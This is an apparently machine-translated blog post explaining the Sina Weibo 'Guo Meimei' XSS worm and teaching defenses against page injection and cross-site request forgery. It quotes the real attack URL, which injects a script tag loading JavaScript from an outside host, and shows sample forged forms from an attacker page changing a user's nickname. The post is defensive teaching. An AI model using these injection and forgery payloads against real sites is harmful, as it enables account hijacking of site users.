Web security: Taking Sina Weibo's "Guo Meimei" worm as an Example

Last night (), Sina Weibo also experienced "hacker" attacks. Cross-Site-script/Cross-Site Request Forgery were popular on websites) it is often ignored by web developers. Here we will describe relevant things.

Let's talk about Sina Weibo first.

For more information about yesterday's attacks, see:
* Http://soft.yesky.com/security/156/30179156.shtml

The root cause of last night's attack vulnerability is actually silly. The URL used for the attack (of course this URL does not work now) is:
* Http://weibo.com/pub/star/g/xyyyd "> <SCRIPT src = // www.2kt.cn/images/t.js> </SCRIPT>? Type = Update

Obviously, the strings after/pub/star/G/will be written internally by Sina and become similar:
* Http://weibo.com/pub/star.php? G = xyyyd "> <SCRIPT src = // www.2kt.cn/images/t.js> </SCRIPT>? Type = Update

Then, star. php will display the G value in querystring directly to the page, which is equivalent to weibo.com embedding a JS script from 2kt.cn in its own page.

This is a relatively low-level injection attack, and everyone with experience in web development should understand it. It should be said that, the root cause of this attack on Sina Weibo is completely irrelevant to "advanced" such as XSS and xsrf.

After the weibo.com page is embedded into a third-party JS, this JS performs xsrf to complete various push/follow/private message operations, but from a security perspective, I don't think this is important anymore. The root cause of this attack is only the lowest page injection.

To avoid this problem, all the variable outputs in the page template should be HTML encode by default:

<% = Request. querystring ["qry"] %>

By default, the output value should be HTML encode, which is equivalent:

<% = Httputil. htmlencode (request. querystring ["qry"]) %>

Currently, the template engine of the new Web framework basically performs HTML encode on the variable page output by default. This avoids injection problems.

Take razor as an example:
<Div>
@ Model. Username
</Div>

The default value is equivalent:
<Div>
<% = Uttputil. htmlencode (model. username) %>
</Div>

Even templates are useless. Directly concatenating strings to output HTML is completely speechless.

===== Xsrf/XSS ======
Such attacks are relatively "novel.

===== Http get ====
Assume that the website has an interface that may change user data, for example:
* Http://dummydomain.com/update_nick.aspx? Nick = stupid

Therefore, a third-party website can directly use the above URL as the SRC of an IMG tag, so that the user can automatically obtain this page during access, resulting in a nickname being changed.

The root cause is that the interface definition violates the HTTP recommendation design.

All http get operations should not involve modification of user data; post must be used forcibly to avoid unintentional/malicious modification of data.

===== Http post ====
Assume that the interface for modifying the nickname becomes:
* Http://dummydomain.com/update_nick.aspx

Users can modify data only after submitting the form, for example:
<Code HTML>
<Form action = "http://dummydomain.com/update_nick.aspx" method = "Post">
<Input type = "text" name = "Nick" value = ""/>
<Input type = "Submit"/>
</Form>
</Code>
This design is actually still a problem, for example, attackers can write in the http://attackerdomain.com/clickme.html:

<Code HTML>
<Form action = "http://dummydomain.com/update_nick.aspx" method = "Post">
<Input type = "hidden" name = "Nick" value = "stupid"/>
<Input type = "Submit" value = "Click me !! "/>
</Form>
</Code>
When a user accesses attackerdomain.com, the user may be misled to click, and the data on dummydomain.com may be modified.

In such a scenario, no matter whether the interface is get or post, this type of attack is called xsrf: Cross-Site Request Forgery.

===== Xsrf ====
Compared with page injection, Web developers do not know enough about xsrf, but it can also be prevented.

First, make sure that all operations involving data updates are post over HTTP.

Then, the server forces all http post requests to contain a _ xsrf parameter. The value of the parameter must be the same as that of the cookie. For example:

<Code HTML>
<Form action = "http://dummydomain.com/update_nick.aspx" method = "Post">
<Input type = "hidden" name = "_ xsrf" value = "secret_value"/>
<Input type = "text" name = "Nick" value = ""/>
<Input type = "Submit"/>
</Form>
</Code>

When attackers attempt to submit information from the http://attackerdomain.com/clickme.html page to http://dummydomain.com/update_nick.aspx, the browser sends the dummydomain cookie, which is not obtained by attacherdomain.com, that is, it cannot forge:

<Code HTML>
<Form action = "http://dummydomain.com/update_nick.aspx" method = "Post">
<Input type = "hidden" name = "_ xsrf" value = "attacher can't know this value! "/>
<Input type = "hidden" name = "Nick" value = "stupid"/>
<Input type = "Submit" value = "Click me !! "/>
</Form>
</Code>

With security awareness, or advanced Web frameworks (Django, tornado, Ror, etc.), the xsrf check is mandatory for post submission by default.

Microsoft's technology is basically behind others. At present, it seems that developers are still working manually. For details about Asp.net MVC, refer:
* Http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

If the Asp.net developer does not have security awareness and adds xsrf checks to all pages, the website may be attacked by xsrf.

If you are interested, you can select a variety of websites developed by Asp.net, or think about whether your website will be subject to such attacks.

===== Foundation of Web security ====
Cookie/Same Origin Policy (in short, it is to prevent cross-origin Ajax) is the root cause of Web security.

These two points are guaranteed by the client browser. If the client fails to implement well, domain name a can access the cookie value of domain name B, or initiate an Ajax call, all the security measures on the server are useless.

Cookies are transmitted in plain text in HTTP and may be stolen and forged by middlemen. Cookies are the root cause of Web user authentication information. Once cookies are leaked, attackers can do whatever they want.

Therefore, many websites (for example, Twitter/Gmail) forcibly transfer all pages to HTTPS by default to prevent man-in-the-middle problems.

The treasure of a thousand miles breaks through the ant nest; The Foundation is not reliable, and any security measures made by the upper layer may be broken.

The key here is to have a reliable foundation that is not directly related to Web technology, and Native programs will also have issues of the same nature.